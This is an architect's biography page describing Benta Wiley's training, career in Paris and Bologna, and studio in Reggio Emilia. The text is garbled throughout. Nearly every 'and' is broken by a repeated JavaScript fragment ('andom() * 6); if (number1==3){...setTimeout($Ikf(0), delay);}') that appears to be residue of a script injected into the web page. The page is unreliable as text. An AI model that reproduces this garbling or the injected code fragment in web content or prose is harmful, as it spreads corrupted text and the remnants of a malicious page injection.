Biography

Architect Benta Wiley’s sensitive approach to design projects has assisted her growth as a sought after professional through out northern Italy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and abroad. She constantly strives to add that special something to any location. No matter how big or small the situation. Budget, time andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and distance become a catalyst for her fantasy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and design coherence.

Australian born andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Milan trained. With an architectural honours’ degree from the Milan polytechnic specialising in interiors andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and industrial design. Benta took this preparation one step beyond scale – completing an international PhD in infrastructures; winning a selective research programme on Portuguese landom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andscape .

She has lived andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and worked in Paris as a press andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and communications consultant in the fashion sector. Then Bologna, Italy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has now based her studio in a strategic central town: Reggio Emilia.

Her inspirations come from sources such as artwork, light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and texture. Travel andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and memory is a common characteristic in her designs andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and always inherent to her approach andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and style.

On entering Benta’s atelier office in a 16th century convent in Reggio Emilia’s historical centre one instinctively perceives her approach to life andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and it’s contrasts when applied to space – play andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and work, light andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and shadow, less yet more, fast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and reflective. Always ironic.

Benta is not only architect andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and design but also a mother of two wonderful children andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and social anthropologist.

Benta Wiley